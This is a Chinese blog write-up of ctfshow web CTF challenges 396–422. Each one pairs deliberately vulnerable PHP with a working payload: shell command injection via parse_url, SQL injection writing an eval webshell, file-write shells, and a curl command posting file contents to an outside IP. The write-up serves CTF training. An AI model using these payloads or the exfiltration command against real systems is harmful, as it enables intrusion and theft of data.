ctfshow-web入门-其他(1)
Published in:2023-06-30 | category: 网络安全 ctf

18.其他

靶场/来源: ctfshow

web396

题目:

1
2
3
4
5
6
7
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);

}else{
highlight_file(__FILE__);
}

shell_exec任意代码执行可以通过;,||,&&同时执行多个语句,配合parse_url绕过

payload:?url=http://1/1;echo cat * > a.txt;

这里可以选择从host下手还是path

web397-400(parse_url路径rce)

题目:

1
2
3
4
5
6
7
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);

}else{
highlight_file(__FILE__);
}

payload:

?url=http://127/echo cat * > a.txt

web401-402(parse_url协议绕过rce)

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}
if(!preg_match('/;|>|\||base/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

payload:

1
?url=xxx://127/echo `cat *` > a.txt

web403

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){ #表示匹配ipv4地址
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}

}else{
highlight_file(__FILE__);
}

'''
^xx表示以xx开头
2[0-4]\d 表示200-249
|表示或
25[0-5] 表示250-255
[01]?\d\d 表示000-199
\. 表示小数点.
{3}() 表示括号前面内容出现三次
$表示结尾
'''

payload:

1
2
http://127.0.0.1/;echo `ls` > a.txt;

web405

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
if(preg_match('/\~|\.|php/', $url['scheme'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}

}
}

}else{
highlight_file(__FILE__);
echo 'parse_url 好强大';
}

解析:

host只能为ip地址

path只能包含字母和数字

scheme协议必须包含~.php

所以我们可以从scheme下手

payload:

1
2
3
4
5
?url=php://;curl -X POST -d "q=`cat *`" 106.55.188.110;127.0.0.1/f

-X 指定请求方式
-q 指定参数
`` 里面的内容会先被执行再发送

web406

题目:

1
2
3
4
5
6
7
8
9
10
require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}

filter_var ($url,FILTER_VALIDATE_URL)验证$url是不是一个合法的url(至少包括协议和路径)

FILTER_SANITIZE_URL:删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|\^~[]<>#%”;/?😡&=(可以看到这里没有<>,所以下面需要进行十六进制编码)

使用

payload:

1
2
3
?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f706870206576616c28245f504f53545b615d293b3f3e/**/into/**/outfile/**/"/var/www/html/5.php"%23

0x3c3f706870206576616c28245f504f53545b615d293b3f3e 十六进制编码绕过:<?php eval($_POST[a]);?>

成功写入shell,使用蚁剑进行连接

可以看到题目提示flag in db,flag在数据库当中,而蚁剑连接到的账号只是www-data权限,不能连接mysql

Untitled

所以这里有三种思路

1.对Linux用户进行提权

2.使用php的mysql语句查询

3.写一个有sql注入的功能点代码,然后使用sqlmap跑

直接在idnex.php进行修改

Untitled

得到flag

Untitled

web407

1
2
3
4
5
6
7
8
9
10
11
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
    call_user_func($ip);
}

class cafe{
    public static function add(){
        echo file_get_contents('flag.php');
    }
}

call_user_func()函数接受多个参数,并将第一个参数作为方法或函数名,后面作为参数进行调用

  • call_user_func($callback [, $parameter1 [, $parameter2 [, ... ]]])

  • call_user_func的一些用法,分为普通函数,类方法,静态方法和匿名函数

    示例 1:调用普通函数

    1
    2
    3
    4
    5
    function greet($name) {
    echo "Hello, $name!";
    }

    call_user_func('greet', 'John');

    输出为:Hello, John!

    示例 2:调用类方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    class MyClass {
    public function sayHello($name) {
    echo "Hello, $name!";
    }
    }

    $obj = new MyClass();
    call_user_func([$obj, 'sayHello'], 'John');

    输出为:Hello, John!

    示例 3:调用静态方法

    1
    2
    3
    4
    5
    6
    7
    8
    class Math {
    public static function square($num) {
    return $num * $num;
    }
    }

    $result = call_user_func(['Math', 'square'], 5);
    echo $result; // 输出 25

    示例 4:调用匿名函数(闭包)

    1
    2
    3
    4
    5
    $greet = function ($name) {
    echo "Hello, $name!";
    };

    call_user_func($greet, 'John');
  • filter_var 指定一个过滤器过滤一个变量

filter_var ($ip,FILTER_VALIDATE_IP),判断一个变量是不是ip

可以使用ip的零压缩法进行绕过,

ip的零压缩法:

IPv6地址是一个128位长的二进制数,通常以8组16进制数的形式表示,每组表示16位(4个十六进制数字)。例如,一个IPv6地址可能如下所示:

1
2
2001:0db8:0000:0000:0000:0000:1428:57ab

在零压缩法中,连续的全零段可以被简化表示为双冒号 ::,但是 :: 只能出现一次。这样可以大幅减少地址的长度。

下面是一个使用零压缩法表示的示例:

1
2
2001:0db8::1428:57ab

上述示例中,连续的零段 0000:0000:0000:0000 被替换为 ::,使得地址更加简洁。

而在php中cafe::add 表示调用名为 add 的静态方法,该方法属于 cafe

因为这两者的差异,形成了这一个绕过方法

payload:?ip=cafe::add

web408

1
2
3
4
5
$email=$_GET['email'];

if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}

格式为:写入内容@写入文件名

注意几个点:

  1. 写入内容部分要用双引号包起来
  2. 写入内容不能含有空格

payload:?email="<?=system($_GET[1]);?>"@1.php

web409

1
2
3
4
5
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){ #检测是否符合邮箱格式 xxx@xxx
$email=preg_replace('/.flag/', '', $email); #把flag和前面一个字符替换为空(去除)
eval($email); #执行
}

因为@后面的内容不符合PHP语法,所以通过闭合去除掉

可行但是发现前面的”也是非法的
题目有个替换为.flag也就是把flag和它前面那个字符替换为空,这就可以把emai当中前面双引号这个非法字符给替换掉,避免在php环境里面出错

最终paylaod:

1
2
3
email="flagsystem($_POST[1]);?>"@123.com
然后post数据
1=cat /flag

web410

1
2
3
4
5
6
7
8
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){ #验证是否为布尔值,但不只是true和false,1和0
if($b=='true' || intval($b)>0){ #如果$b为true或1都不行(1>0)
die('FLAG NOT HERE');
}else{
echo $flag;
}
}

Untitled

所以我们可以使用其他值进行绕过:

?b=on?b=yes

web411

1
2
3
4
5
6
7
8
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
    if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){ #注意到on和ON,大小写有区别,是不是一个大写一个小写也可以绕过呢,而且这里没过滤yes
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    }
}

payload:?b=On?b=yes

web412

1
2
3
4
5
6
$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND); #FILE_APPEND为追加模式,追加在文件内容末尾
include('flag.php');
}

这道题很坑,如果单纯用命令执行ls之类的话,一个容器只能用一次,因为//会把后面添加进去的内容注释掉,下次添加内容就在注释里面,调用不了

payload:POST:ctfshow=?><?php system("cat *");?><?

PS:这里也可以直接写个马进去

web413

1
2
3
4
5
6
$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
include('flag.php');
}

先POST请求发送

ctfshow=*/system($_GET[1]);/*

1
2
GET:1=cat flag.php|grep flag
POST:ctfshow=1

web414

1
2
3
4
5
6
7
8
9
$ctfshow=$_GET['ctfshow'];

if($ctfshow==true){
    if(sqrt($ctfshow)>=sqrt(intval($flag))){
        echo 'FLAG_NOT_HERE';
    }else{
        echo $flag
    }
}

payload:?ctfshow=-1

web415

1
2
3
4
5
6
7
8
9
10
11
$k = $_GET[k];

function getflag(){
echo file_get_contents('flag.php');
}

if($k=='getflag'){
die('FLAG_NOT_HERE');
}else{
call_user_func($k);
}

大小写绕过

payload:?k=Getflag

web416

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class ctf{
public function getflag(){
return 'fake flag';
}
final public function flag(){
echo file_get_contents('flag.php');
}
}

class show extends ctf{
public function __construct($f){
call_user_func($f);
}
}
echo new show($_GET[f]);

需要调用类中的函数:

payload:?f=ctf::flag

web419

1
2
3
4
$code $_POST['code'];
if(strlen($code) < 17){
    eval($code);
}

payload:code=echo cat *;

web420

1
2
3
4
$code = $_POST['code'];
if(strlen($code) < 8){
system($code);
}

payload:code=nl ../*

草,一直以为在/tmp下面的是flag,然后又限制8个字符读不到

web421

1
2
3
4
$code = $_POST['code'];
if(strlen($code) < 6){
system($code);
}

payload:code=nl *

(本来还以为是是什么极限绕过,没想到ls一看,啪,flag就在目录下)

we422

1
2
3
4
$code = $_POST['code'];
if(strlen($code) < 5){
system($code);
}

方法1:payload:code=nl *

跟上题一样

方法2:

1
2
>cat //创建一个文件夹cat
* //执行,会把文件夹的名字当作命令执行
Prev:
java基础笔记
Next:
vulnhub-DC-5